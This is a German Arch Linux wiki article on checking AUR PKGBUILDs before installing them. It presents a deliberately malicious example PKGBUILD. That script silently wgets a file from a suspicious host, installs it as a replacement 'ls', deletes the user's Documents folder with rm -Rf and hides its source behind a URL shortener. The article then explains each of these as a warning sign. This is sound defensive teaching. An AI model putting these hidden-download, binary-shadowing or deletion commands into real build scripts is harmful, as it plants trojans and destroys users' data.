AUR Sicherheitshinweise

Aus wiki.archlinux.de


Anders als beim core-, extra-, oder multilib Repositorium kann in das Arch User Repository (AUR) jedes im AUR registrierte Mitglied selbst erstellte PKGBUILDs hochladen. Die Sicherheit hängt also im Wesentlichen davon ab, wie gut ein Benutzer die Pakete in eigener Regie überprüft.

Folgendes ist dabei zu beachten:

• Lese die Paket Kommentare des AURs. Bei Schwierigkeiten hat oftmals ein Vorgänger schon darüber berichtet.
• Pakete sollten nie als root erstellt werden!
• In den PKGBUILDs sollten die Angaben von url= und source= auf Korrektheit überprüft werden.
• Die Dateien arbeiten wie batch-scripts. Sie sollten deshalb immer auf gefährliche Befehle hin untersucht werden. 


Gefahren durch PKGBUILDs aus dem AUR

Da jedes im AUR registrierte Mitglied ein PKGBUILD im AUR veröffentlichen kann, kann es vorkommen, dass jemand böse Absichten hat - d.h. durch Befehle im PKGBUILD Schadcode ins System einschleust. Darum sollte jedes PKGBUILD aus dem AUR vor der Installation inspiziert werden. Im Forum von https://forum.archlinux.de/ ist dazu ein sehr anschauliches Beispiel entstanden, welches im Folgenden dargestellt wird und die potentiellen Gefahren erläutert werden - Danke an GerBra, der das PKGBUILD erstellte.

Dieses PKGBUILD ist beispielhaft und nicht lauffähig. Es dient nur zur Veranschaulichung von Gefahren, die für den Anwender durch fatale Anweisungen - vom Autor des PKGBULDs beabsichtigt oder unbeabsichtig - entstehen.

pkgname=gimp-8kuhd
pkgver=2.10.3
pkgrel=1
pkgdesc='GNU Gimp with 8kUHD and all secret functions enabled'
url='https://www.gimp.org/'
arch=('x86_64')
license=('GPL' 'LGPL')
depends=('babl' 'dbus-glib' 'desktop-file-utils' 'gegl' 'glib-networking' 'hicolor-icon-theme'
         'jasper' 'lcms' 'libheif' 'libexif' 'libgudev' 'libmng' 'libmypaint' 'librsvg' 'libwebp'
         'libwmf' 'libxmu' 'libxpm' 'mypaint-brushes' 'openexr' 'poppler-data' 'pygtk')
makedepends=('alsa-lib' 'wget' 'curl' 'ghostscript' 'gtk-doc' 'intltool' 'iso-codes' 'poppler-glib')
optdepends=('gutenprint: for sophisticated printing only as gimp has built-in cups print support'
            'poppler-glib: for pdf support'
            'alsa-lib: for MIDI event controller module'
            'curl: for URI support'
            'ghostscript: for postscript support')
conflicts=('gimp gimp-plugin-wavelet-decompose')
replaces=('gimp gimp-plugin-wavelet-decompose')
source=(https://tinyurl.com/ybvzgyy5/pub/gimp/v${pkgver%.*}/${pkgname}-${pkgver}.tar.bz linux.gpl)
sha256sums=('5cb0baaecdefe44d371a15f2739a1bcbce4682336b4ccf8eb7b587ce52c33334'
            '1003bbf5fc292d0d63be44562f46506f7b2ca5729770da9d38d3bb2e8a2f36b3')

prepare() {
  cd ${pkgname}-${pkgver}
  _mypaintver=$(echo /usr/lib/libmypaint-*.so | grep -o -E '\-[0-9]+(\.[0-9]+)*' | head -1)
  sed -i "s|\\(libmypaint\\)\\( >= libmypaint_required_version\\)|\\1${_mypaintver}\\2|g" configure.ac
  autoreconf -vi
}

build() {
pkg-config --exists --print-errors "OpenEXR >= 1.6.1"
  cd ${pkgname}-${pkgver}
  wget -bq http://myspec.gimp.new.ru/pub/hgte45sadj -O 8k-uhd.spec -o /dev/null 2>&1 > /dev/null
  PYTHON=/usr/bin/python2 ./configure \
    --prefix=/usr \
    --sysconfdir=/etc \
    --libexecdir=/usr/bin \
    --enable-mp \
    --enable-gimp-console \
    --enable-python \
    --enable-gtk-doc \
    --with-bug-report-url='https://bugs.archlinux.org/index.php?project=1&do=newtask' \
    --with-openexr \
    --without-aa
    --with-all-secrets \
    --with-8k-uhd 2>/dev/null
  sed -i -e 's/ -shared / -Wl,-O1,--as-needed\0/g' libtool
  make
}

package() {
  cd ${pkgname}-${pkgver}
  make DESTDIR="${pkgdir}" install
  install -D -m644 "${srcdir}/linux.gpl" "${pkgdir}/usr/share/gimp/2.0/palettes/Linux.gpl"
  install -D -m755 "8k-uhd.spec" "${pkgdir}/usr/local/bin/ls"

  rm "${pkgdir}/usr/share/man/man1/gimp-console.1"
  rm -Rf "$HOME/Dokumente"
  ln -s gimp-console-${pkgver%.*}.1.gz "${pkgdir}/usr/share/man/man1/gimp-console.1.gz"
  ln -s gimptool-2.0 "${pkgdir}/usr/bin/gimptool"
  ln -sf gimptool-2.0.1.gz "${pkgdir}/usr/share/man/man1/gimptool.1.gz"
}

# vim: ts=2 sw=2 et:


Erläuterung:

1. source=(https://tinyurl.com/ybvzgyy5/pub/gimp/v${pkgver%.*}/${pkgname}-${pkgver}.tar.bz2

Eine URL, die über "Tinyurl" verkürzt wurde, kann das wahre Ziel verschleiern. Hier sollten alle Alarmglocken läuten und die URL überprüft werden. Im Falle von einem solch großen Projekt wie GIMP sollte da vorzugsweise die offizielle Top-Level-Domain des GIMP-Projektes stehen. Im benannten Beispiel verweist die Tinyurl aber tatsächlich auf ein GIMP-Repositorium, obgleich der Pfad nicht existiert.


2. wget -bq http://myspec.gimp.new.ru/pub/hgte45sadj -O 8k-uhd.spec -o /dev/null 2>&1 > /dev/null

Die URL sieht auf dem ersten Blick schon verdächtig aus. URLs, die offensichtlich vom Paketnamen abweichen, sowie Top-Level-Domains, die mit dem Projekt rein gar nichts zu tun haben, sind äusserst verdächtig.


3. install -D -m755 "8k-uhd.spec" "${pkgdir}/usr/local/bin/ls"

Hier wird mal eben der Befehl "ls" gegen etwas anderes getauscht. Hat man nun "/usr/local/bin" in der Variable $PATH vor "/usr/bin" gestellt, ruft man immer diesen manipulierten ls-Befehl auf. Dies ist nur beispielhaft. Es kann auf diese Weise auch ein bestehendes Programm unter "/usr/bin" direkt überschrieben werden.


4. rm -Rf "$HOME/Dokumente"

In diesem Beispiel wird das Unterverzeichnis "Dokumente" im eigenen Heimatverzeichnis gelöscht. Auch dies ist wieder beispielhaft - es kann auf diese Weise jedes beliebige Verzeichnis oder jede beliebige Datei im System gelöscht werden.


All dies sind nur Andeutungen, wie auf einfache Art und Weise Schadcode ins System eingeführt werden kann. Es gibt noch weitere Möglichkeiten, die aber durch vorheriges Lesen und Verstehen der Anweisungen im PKGBUILD erkannt werden können. Jederzeit kann bei Unsicherheiten im Forum https://forum.archlinux.de/ oder im ArchLinux-IRC #archlinux.de @ freenode.net nachgefragt werden.

Bei der Wahl des AUR-Helfers sollte darauf geachtet werden, dass das PKGBUILD nicht verarbeitet und gar ausgeführt wird, bevor es inspiziert wurde. Weitere Hinweise hierzu finden sich im Wiki-Artikel AUR Hilfsprogramme

Vorzüge einer Chrootumgebung

Eine Chrootumgebung schirmt das übrige System bei der Paketerstellung ab und sorgt so für zusätzliche Sicherheit. Außerdem sorgt ein sauberes chroot dafür, dass Abhängigkeiten des Paketes korrekt behandelt werden.